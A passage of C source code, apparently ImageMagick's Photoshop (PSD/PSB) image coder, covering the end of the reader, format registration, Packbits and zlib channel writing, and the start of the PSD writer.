ThrowReaderException(CorruptImageError,"ImproperImageHeader"); psd_info.mode=ReadBlobMSBShort(image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Image is %.20g x %.20g with channels=%.20g, depth=%.20g, mode=%s", (double) psd_info.columns,(double) psd_info.rows,(double) psd_info.channels,(double) psd_info.depth,ModeToString((PSDImageType) psd_info.mode)); /* Initialize image. */ image->depth=psd_info.depth; image->columns=psd_info.columns; image->rows=psd_info.rows; status=SetImageExtent(image,image->columns,image->rows); if (status == MagickFalse) { InheritException(exception,&image->exception); return(DestroyImageList(image)); } if (SetImageBackgroundColor(image) == MagickFalse) { InheritException(exception,&image->exception); image=DestroyImageList(image); return((Image *) NULL); } if (psd_info.mode == LabMode) SetImageColorspace(image,LabColorspace); if (psd_info.mode == CMYKMode) { SetImageColorspace(image,CMYKColorspace); image->matte=psd_info.channels > 4 ? MagickTrue : MagickFalse; } else if ((psd_info.mode == BitmapMode) || (psd_info.mode == GrayscaleMode) || (psd_info.mode == DuotoneMode)) { status=AcquireImageColormap(image,psd_info.depth != 16 ? 256 : 65536); if (status == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Image colormap allocated"); SetImageColorspace(image,GRAYColorspace); image->matte=psd_info.channels > 1 ? MagickTrue : MagickFalse; } else image->matte=psd_info.channels > 3 ? MagickTrue : MagickFalse; /* Read PSD raster colormap only present for indexed and duotone images. */ length=ReadBlobMSBLong(image); if (length != 0) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading colormap"); if (psd_info.mode == DuotoneMode) { /* Duotone image data; the format of this data is undocumented. */ data=(unsigned char *) AcquireQuantumMemory((size_t) length, sizeof(*data)); if (data == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); (void) ReadBlob(image,(size_t) length,data); data=(unsigned char *) RelinquishMagickMemory(data); } else { size_t number_colors; /* Read PSD raster colormap. */ number_colors=length/3; if (number_colors > 65536) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if (AcquireImageColormap(image,number_colors) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].red=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].green=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].blue=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); image->matte=MagickFalse; } } if ((image->depth == 1) && (image->storage_class != PseudoClass)) ThrowReaderException(CorruptImageError, "ImproperImageHeader"); has_merged_image=MagickTrue; length=ReadBlobMSBLong(image); if (length != 0) { unsigned char *blocks; /* Image resources block. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading image resource blocks - %.20g bytes",(double) ((MagickOffsetType) length)); blocks=(unsigned char *) AcquireQuantumMemory((size_t) length, sizeof(*blocks)); if (blocks == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); count=ReadBlob(image,(size_t) length,blocks); if ((count != (ssize_t) length) || (length < 4) || (LocaleNCompare((char *) blocks,"8BIM",4) != 0)) { blocks=(unsigned char *) RelinquishMagickMemory(blocks); ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } ParseImageResourceBlocks(image,blocks,(size_t) length,&has_merged_image); blocks=(unsigned char *) RelinquishMagickMemory(blocks); } /* Layer and mask block. */ length=GetPSDSize(&psd_info,image); if (length == 8) { length=ReadBlobMSBLong(image); length=ReadBlobMSBLong(image); } offset=TellBlob(image); skip_layers=MagickFalse; if ((image_info->number_scenes == 1) && (image_info->scene == 0) && (has_merged_image != MagickFalse)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " read composite only"); skip_layers=MagickTrue; } if (length == 0) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image has no layers"); } else { if (ReadPSDLayers(image,image_info,&psd_info,skip_layers,exception) != MagickTrue) { (void) CloseBlob(image); image=DestroyImageList(image); return((Image *) NULL); } /* Skip the rest of the layer and mask information. */ SeekBlob(image,offset+length,SEEK_SET); } /* If we are only "pinging" the image, then we're done - so return. */ if (image_info->ping != MagickFalse) { (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* Read the precombined layer, present for PSD < 4 compatibility. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading the precombined layer"); if (has_merged_image != MagickFalse || GetImageListLength(image) == 1) has_merged_image=(MagickBooleanType) ReadPSDMergedImage(image_info,image, &psd_info,exception); if ((has_merged_image == MagickFalse) && (GetImageListLength(image) == 1) && (length != 0)) { SeekBlob(image,offset,SEEK_SET); status=ReadPSDLayers(image,image_info,&psd_info,MagickFalse,exception); if (status != MagickTrue) { (void) CloseBlob(image); image=DestroyImageList(image); return((Image *) NULL); } } if (has_merged_image == MagickFalse) { Image *merged; if (GetImageListLength(image) == 1) ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile"); SetImageAlphaChannel(image,TransparentAlphaChannel); image->background_color.opacity=TransparentOpacity; merged=MergeImageLayers(image,FlattenLayer,exception); ReplaceImageInList(&image,merged); } (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % RegisterPSDImage() adds properties for the PSD image format to % the list of supported formats. The properties include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterPSDImage method is: % % size_t RegisterPSDImage(void) % */ ModuleExport size_t RegisterPSDImage(void) { MagickInfo *entry; entry=SetMagickInfo("PSB"); entry->decoder=(DecodeImageHandler *) ReadPSDImage; entry->encoder=(EncodeImageHandler *) WritePSDImage; entry->magick=(IsImageFormatHandler *) IsPSD; entry->seekable_stream=MagickTrue; entry->description=ConstantString("Adobe Large Document Format"); entry->module=ConstantString("PSD"); (void) RegisterMagickInfo(entry); entry=SetMagickInfo("PSD"); entry->decoder=(DecodeImageHandler *) ReadPSDImage; entry->encoder=(EncodeImageHandler *) WritePSDImage; entry->magick=(IsImageFormatHandler *) IsPSD; entry->seekable_stream=MagickTrue; entry->description=ConstantString("Adobe Photoshop bitmap"); entry->module=ConstantString("PSD"); (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % UnregisterPSDImage() removes format registrations made by the % PSD module from the list of supported formats. % % The format of the UnregisterPSDImage method is: % % UnregisterPSDImage(void) % */ ModuleExport void UnregisterPSDImage(void) { (void) UnregisterMagickInfo("PSB"); (void) UnregisterMagickInfo("PSD"); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % W r i t e P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % WritePSDImage() writes an image in the Adobe Photoshop encoded image format. % % The format of the WritePSDImage method is: % % MagickBooleanType WritePSDImage(const ImageInfo *image_info,Image *image) % % A description of each parameter follows. % % o image_info: the image info. % % o image: The image. % */ static inline ssize_t SetPSDOffset(const PSDInfo *psd_info,Image *image, const size_t offset) { if (psd_info->version == 1) return(WriteBlobMSBShort(image,(unsigned short) offset)); return(WriteBlobMSBLong(image,(unsigned short) offset)); } static inline ssize_t WritePSDOffset(const PSDInfo *psd_info,Image *image, const MagickSizeType size,const MagickSizeType offset) { MagickSizeType current_offset; ssize_t result; current_offset=TellBlob(image); SeekBlob(image,offset,SEEK_SET); if (psd_info->version == 1) result=WriteBlobMSBShort(image,(unsigned short) size); else result=(WriteBlobMSBLong(image,(unsigned short) size)); SeekBlob(image,current_offset,SEEK_SET); return(result); } static inline ssize_t SetPSDSize(const PSDInfo *psd_info,Image *image, const MagickSizeType size) { if (psd_info->version == 1) return(WriteBlobMSBLong(image,(unsigned int) size)); return(WriteBlobMSBLongLong(image,size)); } static inline ssize_t WritePSDSize(const PSDInfo *psd_info,Image *image, const MagickSizeType size,const MagickSizeType offset) { MagickSizeType current_offset; ssize_t result; current_offset=TellBlob(image); SeekBlob(image,offset,SEEK_SET); if (psd_info->version == 1) result=WriteBlobMSBLong(image,(unsigned int) size); else result=WriteBlobMSBLongLong(image,size); SeekBlob(image,current_offset,SEEK_SET); return(result); } static size_t PSDPackbitsEncodeImage(Image *image,const size_t length, const unsigned char *pixels,unsigned char *compact_pixels) { int count; register ssize_t i, j; register unsigned char *q; unsigned char *packbits; /* Compress pixels with Packbits encoding. */ assert(image != (Image *) NULL); assert(image->signature == MagickSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); assert(pixels != (unsigned char *) NULL); assert(compact_pixels != (unsigned char *) NULL); packbits=(unsigned char *) AcquireQuantumMemory(128UL,sizeof(*packbits)); if (packbits == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); q=compact_pixels; for (i=(ssize_t) length; i != 0; ) { switch (i) { case 1: { i--; *q++=(unsigned char) 0; *q++=(*pixels); break; } case 2: { i-=2; *q++=(unsigned char) 1; *q++=(*pixels); *q++=pixels[1]; break; } case 3: { i-=3; if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2))) { *q++=(unsigned char) ((256-3)+1); *q++=(*pixels); break; } *q++=(unsigned char) 2; *q++=(*pixels); *q++=pixels[1]; *q++=pixels[2]; break; } default: { if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2))) { /* Packed run. */ count=3; while (((ssize_t) count < i) && (*pixels == *(pixels+count))) { count++; if (count >= 127) break; } i-=count; *q++=(unsigned char) ((256-count)+1); *q++=(*pixels); pixels+=count; break; } /* Literal run. */ count=0; while ((*(pixels+count) != *(pixels+count+1)) || (*(pixels+count+1) != *(pixels+count+2))) { packbits[count+1]=pixels[count]; count++; if (((ssize_t) count >= (i-3)) || (count >= 127)) break; } i-=count; *packbits=(unsigned char) (count-1); for (j=0; j <= (ssize_t) count; j++) *q++=packbits[j]; pixels+=count; break; } } } *q++=(unsigned char) 128; /* EOD marker */ packbits=(unsigned char *) RelinquishMagickMemory(packbits); return((size_t) (q-compact_pixels)); } static size_t WriteCompressionStart(const PSDInfo *psd_info,Image *image, const Image *next_image,const ssize_t channels) { size_t length; ssize_t i, y; if (next_image->compression == RLECompression) { length=WriteBlobMSBShort(image,RLE); for (i=0; i < channels; i++) for (y=0; y < (ssize_t) next_image->rows; y++) length+=SetPSDOffset(psd_info,image,0); } #ifdef MAGICKCORE_ZLIB_DELEGATE else if (next_image->compression == ZipCompression) length=WriteBlobMSBShort(image,ZipWithoutPrediction); #endif else length=WriteBlobMSBShort(image,Raw); return(length); } static size_t WritePSDChannel(const PSDInfo *psd_info, const ImageInfo *image_info,Image *image,Image *next_image, const QuantumType quantum_type, unsigned char *compact_pixels, MagickOffsetType size_offset,const MagickBooleanType separate) { int y; MagickBooleanType monochrome; QuantumInfo *quantum_info; register const PixelPacket *p; register ssize_t i; size_t count, length; unsigned char *pixels; #ifdef MAGICKCORE_ZLIB_DELEGATE #define CHUNK 16384 int flush, level; unsigned char *compressed_pixels; z_stream stream; compressed_pixels=(unsigned char *) NULL; flush=Z_NO_FLUSH; #endif count=0; if (separate != MagickFalse) { size_offset=TellBlob(image)+2; count+=WriteCompressionStart(psd_info,image,next_image,1); } if (next_image->depth > 8) next_image->depth=16; monochrome=IsMonochromeImage(image,&image->exception) && (image->depth == 1) ? MagickTrue : MagickFalse; quantum_info=AcquireQuantumInfo(image_info,image); if (quantum_info == (QuantumInfo *) NULL) return(0); pixels=GetQuantumPixels(quantum_info); #ifdef MAGICKCORE_ZLIB_DELEGATE if (next_image->compression == ZipCompression) { compressed_pixels=(unsigned char *) AcquireQuantumMemory(CHUNK, sizeof(*compressed_pixels)); if (compressed_pixels == (unsigned char *) NULL) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } ResetMagickMemory(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; level=Z_DEFAULT_COMPRESSION; if ((image_info->quality > 0 && image_info->quality < 10)) level=(int) image_info->quality; if (deflateInit(&stream,level) != Z_OK) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } } #endif for (y=0; y < (ssize_t) next_image->rows; y++) { p=GetVirtualPixels(next_image,0,y,next_image->columns,1,&image->exception); if (p == (const PixelPacket *) NULL) break; length=ExportQuantumPixels(next_image,(CacheView *) NULL,quantum_info, quantum_type,pixels,&image->exception); if (monochrome != MagickFalse) for (i=0; i < (ssize_t) length; i++) pixels[i]=(~pixels[i]); if (next_image->compression == RLECompression) { length=PSDPackbitsEncodeImage(image,length,pixels,compact_pixels); count+=WriteBlob(image,length,compact_pixels); size_offset+=WritePSDOffset(psd_info,image,length,size_offset); } #ifdef MAGICKCORE_ZLIB_DELEGATE else if (next_image->compression == ZipCompression) { stream.avail_in=(uInt) length; stream.next_in=(Bytef *) pixels; if (y == (ssize_t) next_image->rows-1) flush=Z_FINISH; do { stream.avail_out=(uInt) CHUNK; stream.next_out=(Bytef *) compressed_pixels; if (deflate(&stream,flush) == Z_STREAM_ERROR) break; length=(size_t) CHUNK-stream.avail_out; if (length > 0) count+=WriteBlob(image,length,compressed_pixels); } while (stream.avail_out == 0); } #endif else count+=WriteBlob(image,length,pixels); } #ifdef MAGICKCORE_ZLIB_DELEGATE if (next_image->compression == ZipCompression) { (void) deflateEnd(&stream); compressed_pixels=(unsigned char *) RelinquishMagickMemory( compressed_pixels); } #endif quantum_info=DestroyQuantumInfo(quantum_info); return(count); } static unsigned char *AcquireCompactPixels(Image *image) { size_t packet_size; unsigned char *compact_pixels; packet_size=image->depth > 8UL ? 2UL : 1UL; compact_pixels=(unsigned char *) AcquireQuantumMemory((9* image->columns)+1,packet_size*sizeof(*compact_pixels)); if (compact_pixels == (unsigned char *) NULL) { (void) ThrowMagickException(&image->exception,GetMagickModule(), ResourceLimitError,"MemoryAllocationFailed","`%s'", image->filename); } return(compact_pixels); } static ssize_t WritePSDChannels(const PSDInfo *psd_info, const ImageInfo *image_info,Image *image,Image *next_image, MagickOffsetType size_offset,const MagickBooleanType separate) { Image *mask; MagickOffsetType rows_offset; size_t channels, count, length, offset_length; unsigned char *compact_pixels; count=0; offset_length=0; rows_offset=0; compact_pixels=(unsigned char *) NULL; if (next_image->compression == RLECompression) { compact_pixels=AcquireCompactPixels(image); if (compact_pixels == (unsigned char *) NULL) return(0); } channels=1; if (separate == MagickFalse) { if (next_image->storage_class != PseudoClass) { if (IsGrayImage(next_image,&next_image->exception) == MagickFalse) channels=next_image->colorspace == CMYKColorspace ? 4 : 3; if (next_image->matte != MagickFalse) channels++; } rows_offset=TellBlob(image)+2; count+=WriteCompressionStart(psd_info,image,next_image,channels); offset_length=(next_image->rows*(psd_info->version == 1 ? 2 : 4)); } size_offset+=2; if (next_image->storage_class == PseudoClass) { length=WritePSDChannel(psd_info,image_info,image,next_image, IndexQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } else { if (IsGrayImage(next_image,&next_image->exception) != MagickFalse) { length=WritePSDChannel(psd_info,image_info,image,next_image, GrayQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } else { if (next_image->colorspace == CMYKColorspace) (void) NegateImage(next_image,MagickFalse); length=WritePSDChannel(psd_info,image_info,image,next_image, RedQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; length=WritePSDChannel(psd_info,image_info,image,next_image, GreenQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; length=WritePSDChannel(psd_info,image_info,image,next_image, BlueQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; if (next_image->colorspace == CMYKColorspace) { length=WritePSDChannel(psd_info,image_info,image,next_image, BlackQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } } if (next_image->matte != MagickFalse) { length=WritePSDChannel(psd_info,image_info,image,next_image, AlphaQuantum,compact_pixels,rows_offset,separate); if (separate != MagickFalse) size_offset+=WritePSDSize(psd_info,image,length,size_offset)+2; else rows_offset+=offset_length; count+=length; } } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); if (next_image->colorspace == CMYKColorspace) (void) NegateImage(next_image,MagickFalse); if (separate != MagickFalse) { const char *property; property=GetImageArtifact(next_image,"psd:opacity-mask"); if (property != (const char *) NULL) { mask=(Image *) GetImageRegistry(ImageRegistryType,property, &image->exception); if (mask != (Image *) NULL) { if (mask->compression == RLECompression) { compact_pixels=AcquireCompactPixels(mask); if (compact_pixels == (unsigned char *) NULL) return(0); } length=WritePSDChannel(psd_info,image_info,image,mask, RedQuantum,compact_pixels,rows_offset,MagickTrue); (void) WritePSDSize(psd_info,image,length,size_offset); count+=length; compact_pixels=(unsigned char *) RelinquishMagickMemory( compact_pixels); } } } return(count); } static size_t WritePascalString(Image *image,const char *value,size_t padding) { size_t count, length; register ssize_t i; /* Max length is 255. */ count=0; length=(strlen(value) > 255UL ) ? 255UL : strlen(value); if (length == 0) count+=WriteBlobByte(image,0); else { count+=WriteBlobByte(image,(unsigned char) length); count+=WriteBlob(image,length,(const unsigned char *) value); } length++; if ((length % padding) == 0) return(count); for (i=0; i < (ssize_t) (padding-(length % padding)); i++) count+=WriteBlobByte(image,0); return(count); } static void WriteResolutionResourceBlock(Image *image) { double x_resolution, y_resolution; unsigned short units; if (image->units == PixelsPerCentimeterResolution) { x_resolution=2.54*65536.0*image->x_resolution+0.5; y_resolution=2.54*65536.0*image->y_resolution+0.5; units=2; } else { x_resolution=65536.0*image->x_resolution+0.5; y_resolution=65536.0*image->y_resolution+0.5; units=1; } (void) WriteBlob(image,4,(const unsigned char *) "8BIM"); (void) WriteBlobMSBShort(image,0x03ED); (void) WriteBlobMSBShort(image,0); (void) WriteBlobMSBLong(image,16); /* resource size */ (void) WriteBlobMSBLong(image,(unsigned int) (x_resolution+0.5)); (void) WriteBlobMSBShort(image,units); /* horizontal resolution unit */ (void) WriteBlobMSBShort(image,units); /* width unit */ (void) WriteBlobMSBLong(image,(unsigned int) (y_resolution+0.5)); (void) WriteBlobMSBShort(image,units); /* vertical resolution unit */ (void) WriteBlobMSBShort(image,units); /* height unit */ } static inline size_t WriteChannelSize(const PSDInfo *psd_info,Image *image, const signed short channel) { size_t count; count=WriteBlobMSBSignedShort(image,channel); count+=SetPSDSize(psd_info,image,0); return(count); } static void RemoveICCProfileFromResourceBlock(StringInfo *bim_profile) { register const unsigned char *p; size_t length; unsigned char *datum; unsigned int count, long_sans; unsigned short id, short_sans; length=GetStringInfoLength(bim_profile); if (length < 16) return; datum=GetStringInfoDatum(bim_profile); for (p=datum; (p >= datum) && (p < (datum+length-16)); ) { register unsigned char *q; q=(unsigned char *) p; if (LocaleNCompare((const char *) p,"8BIM",4) != 0) break; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); if (id == 0x0000040f) { ssize_t quantum; quantum=PSDQuantum(count)+12; if ((quantum >= 12) && (quantum < (ssize_t) length)) { if ((q+quantum < (datum+length-16))) (void) CopyMagickMemory(q,q+quantum,length-quantum-(q-datum)); SetStringInfoLength(bim_profile,length-quantum); } break; } p+=count; if ((count & 0x01) != 0) p++; } } static void RemoveResolutionFromResourceBlock(StringInfo *bim_profile) { register const unsigned char *p; size_t length; unsigned char *datum; unsigned int count, long_sans; unsigned short id, short_sans; length=GetStringInfoLength(bim_profile); if (length < 16) return; datum=GetStringInfoDatum(bim_profile); for (p=datum; (p >= datum) && (p < (datum+length-16)); ) { register unsigned char *q; ssize_t cnt; q=(unsigned char *) p; if (LocaleNCompare((const char *) p,"8BIM",4) != 0) return; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); cnt=PSDQuantum(count); if (cnt < 0) return; if ((id == 0x000003ed) && (cnt < (ssize_t) (length-12))) { (void) CopyMagickMemory(q,q+cnt+12,length-(cnt+12)-(q-datum)); SetStringInfoLength(bim_profile,length-(cnt+12)); break; } p+=count; if ((count & 0x01) != 0) p++; } } static const StringInfo *GetAdditionalInformation(const ImageInfo *image_info, Image *image) { #define PSDKeySize 5 #define PSDAllowedLength 36 char key[PSDKeySize]; /* Whitelist of keys from: https://www.adobe.com/devnet-apps/photoshop/fileformatashtml/ */ const char allowed[PSDAllowedLength][PSDKeySize] = { "blnc", "blwh", "brit", "brst", "clbl", "clrL", "curv", "expA", "FMsk", "GdFl", "grdm", "hue ", "hue2", "infx", "knko", "lclr", "levl", "lnsr", "lfx2", "luni", "lrFX", "lspf", "lyid", "lyvr", "mixr", "nvrt", "phfl", "post", "PtFl", "selc", "shpa", "sn2P", "SoCo", "thrs", "tsly", "vibA" }, *option; const StringInfo *info; MagickBooleanType found; register size_t i; size_t remaining_length, length; StringInfo *profile; unsigned char *p; unsigned int size; info=GetImageProfile(image,"psd:additional-info"); if (info == (const StringInfo *) NULL) return((const StringInfo *) NULL); option=GetImageOption(image_info,"psd:additional-info"); if (LocaleCompare(option,"all") == 0) return(info); if (LocaleCompare(option,"selective") != 0) { profile=RemoveImageProfile(image,"psd:additional-info"); return(DestroyStringInfo(profile)); } length=GetStringInfoLength(info); p=GetStringInfoDatum(info); remaining_length=length; length=0; while (remaining_length >= 12) { /* skip over signature */ p+=4; key[0]=(*p++); key[1]=(*p++); key[2]=(*p++); key[3]=(*p++); key[4]='\0'; size=(unsigned int) (*p++) << 24; size|=(unsigned int) (*p++) << 16; size|=(unsigned int) (*p++) << 8; size|=(unsigned int) (*p++); size=size & 0xffffffff; remaining_length-=12; if ((size_t) size > remaining_length) return((const StringInfo *) NULL); found=MagickFalse; for (i=0; i < PSDAllowedLength; i++) { if (LocaleNCompare(key,allowed[i],PSDKeySize) != 0) continue; found=MagickTrue; break; } remaining_length-=(size_t) size; if (found == MagickFalse) { if (remaining_length > 0) p=(unsigned char *) CopyMagickMemory(p-12,p+size,remaining_length); continue; } length+=(size_t) size+12; p+=size; } profile=RemoveImageProfile(image,"psd:additional-info"); if (length == 0) return(DestroyStringInfo(profile)); SetStringInfoLength(profile,(const size_t) length); SetImageProfile(image,"psd:additional-info",info); return(profile); } static MagickBooleanType WritePSDImage(const ImageInfo *image_info, Image *image) { char layer_name[MaxTextExtent]; const char *property; const StringInfo *icc_profile, *info; Image *base_image, *next_image; MagickBooleanType status; MagickOffsetType *layer_size_offsets, size_offset; PSDInfo psd_info; register ssize_t i; size_t layer_count, layer_index, length, name_length, num_channels, packet_size, rounded_size, size; StringInfo *bim_profile; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); assert(image != (Image *) NULL); assert(image->signature == MagickSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception); if (status == MagickFalse) return(status); packet_size=(size_t) (image->depth > 8 ? 6 : 3); if (image->matte != MagickFalse) packet_size+=image->depth > 8 ? 2 : 1; psd_info.version=1; if ((LocaleCompare(image_info->magick,"PSB") == 0) || (image->columns > 30000) || (image->rows > 30000)) psd_info.version=2; (void) WriteBlob(image,4,(const unsigned char *) "8BPS"); (void) WriteBlobMSBShort(image,psd_info.version); /* version */ for (i=1; i <= 6; i++) (void) WriteBlobByte(image, 0); /* 6 bytes of reserved */ if (SetImageGray(image,&image->exception) != MagickFalse) num_channels=(image->matte != MagickFalse ? 2UL : 1UL); else if ((image_info->type != TrueColorType) && (image_info->type != TrueColorMatteType) && (image->storage_class == PseudoClass)) num_channels=(image->matte != MagickFalse ? 2UL : 1UL); else { if (image->storage_class == PseudoClass) (void) SetImageStorageClass(image,DirectClass); if (image->colorspace != CMYKColorspace) num_channels=(image->matte != MagickFalse ? 4UL : 3UL); else num_channels=(image->matte != MagickFalse ? 5UL : 4UL); } (void) WriteBlobMSBShort(image,(unsigned short) num_channels); (void) WriteBlobMSBLong(image,(unsigned int) image->rows); (void) WriteBlobMSBLong(image,(unsigned int) image->columns); if (IsGrayImage(image,&image->exception) != MagickFalse) { MagickBooleanType monochrome; /* Write depth & mode. */ monochrome=IsMonochromeImage(image,&image->exception) && (image->depth == 1) ? MagickTrue : MagickFalse; (void) WriteBlobMSBShort(image,(unsigned short) (monochrome != MagickFalse ? 1 : image->depth > 8 ? 16 : 8)); (void) WriteBlobMSBShort(image,(unsigned short) (monochrome != MagickFalse ? BitmapMode : GrayscaleMode)); } else { (void) WriteBlobMSBShort(image,(unsigned short) (image->storage_class == PseudoClass ? 8 : image->depth > 8 ? 16 : 8)); if (((image_info->colorspace != UndefinedColorspace) || (image->colorspace != CMYKColorspace)) && (image_info->colorspace != CMYKColorspace)) { (void) TransformImageColorspace(image,sRGBColorspace); (void) WriteBlobMSBShort(image,(unsigned short) (image->storage_class == PseudoClass ? IndexedMode : RGBMode)); } else { if (image->colorspace != CMYKColorspace) (void) TransformImageColorspace(image,CMYKColorspace); (void) WriteBlobMSBShort(image,CMYKMode); } } if ((IsGrayImage(image,&image->exception) != MagickFalse) || (image->storage_class == DirectClass) || (image->colors > 256)) (void) WriteBlobMSBLong(image,0); else { /* Write PSD raster colormap. */ (void) WriteBlobMSBLong(image,768); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar(image->colormap[i].red)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar( image->colormap[i].green)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar(image->colormap[i].blue)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); } /* Image resource block. */ length=28; /* 0x03EB */ bim_profile=(StringInfo *) GetImageProfile(image,"8bim"); icc_profile=GetImageProfile(image,"icc"); if (bim_profile != (StringInfo *) NULL) { bim_profile=CloneStringInfo(bim_profile); if (icc_profile != (StringInfo *) NULL) RemoveICCProfileFromResourceBlock(bim_profile); RemoveResolutionFromResourceBlock(bim_profile); length+=PSDQuantum(GetStringInfoLength(bim_profile)); } if (icc_profile != (const StringInfo *) NULL) length+=PSDQuantum(GetStringInfoLength(icc_profile))+12; (void) WriteBlobMSBLong(image,(unsigned int) length); WriteResolutionResourceBlock(image); if (bim_profile != (StringInfo *) NULL) { (void) WriteBlob(image,GetStringInfoLength(bim_profile), GetStringInfoDatum(bim_profile)); bim_profile=DestroyStringInfo(bim_profile); } if (icc_profile != (StringInfo *) NULL) { (void) WriteBlob(image,4,(const unsigned char *) "8BIM"); (void) WriteBlobMSBShort(image,0x0000040F); (void) WriteBlobMSBShort(image,0); (void) WriteBlobMSBLong(image,(unsigned int) GetStringInfoLength( icc_profile)); (void) WriteBlob(image,GetStringInfoLength(icc_profile), GetStringInfoDatum(icc_profile)); if ((MagickOffsetType) GetStringInfoLength(icc_profile) != PSDQuantum(GetStringInfoLength(icc_profile))) (void) WriteBlobByte(image,0); } base_image=GetNextImageInList(image); if (base_image == (Image *)NULL) base_image=image; size=0; size_offset=TellBlob(image); SetPSDSize(&psd_info,image,0); SetPSDSize(&psd_info,image,0); layer_count=0; for (next_image=base_image; next_image != NULL; ) { layer_count++; next_image=GetNextImageInList(next_image); } if (image->matte != MagickFalse) size+=WriteBlobMSBShort(image,-(unsigned short) layer_count); else size+=WriteBlobMSBShort(image,(unsigned short) layer_count); layer_size_offsets=(MagickOffsetType *) AcquireQuantumMemory( (size_t) layer_count,sizeof(MagickOffsetType)); if (layer_size_offsets == (MagickOffsetType *) NULL) ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); layer_index=0; for (next_image=base_image; next_image != NULL; ) { Image *mask; unsigned char default_color; unsigned short channels, total_channels; mask=(Image *) NULL; property=GetImageArtifact(next_image,"psd:opacity-mask"); default_color=0; if (property != (const char *) 